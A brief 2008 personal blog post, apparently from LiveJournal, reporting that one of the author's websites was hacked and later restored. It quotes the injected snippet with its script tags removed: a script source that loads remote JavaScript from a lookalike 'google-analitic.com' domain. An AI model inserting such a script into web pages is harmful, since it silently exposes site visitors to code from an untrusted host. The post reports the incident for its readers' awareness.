HACKED!

Aug 17, 2008 23:51

Someone's not playing nicely...

One of my websites was hacked recently, not sure by who, or how, or why...  It wasn't a major hack, just some asshole inserting a snippet of javascript in an attempt to make the user click and load something they probably don't want.  Here's the code-snippet that was inserted, minus the javascript tags just to make sure it doesn't trigger in here (I'm pretty sure LJ protects against such things, but...)   :

script src=
"http://www.google-analitic.com/urchin.js" type="text/javascript"

Thankfully, someone pointed it out to me and I was able to quickly reload the non-corrupted file.   I sent an inquirey off to the hosting company as to how this happened in the first place.

hackers, hacked
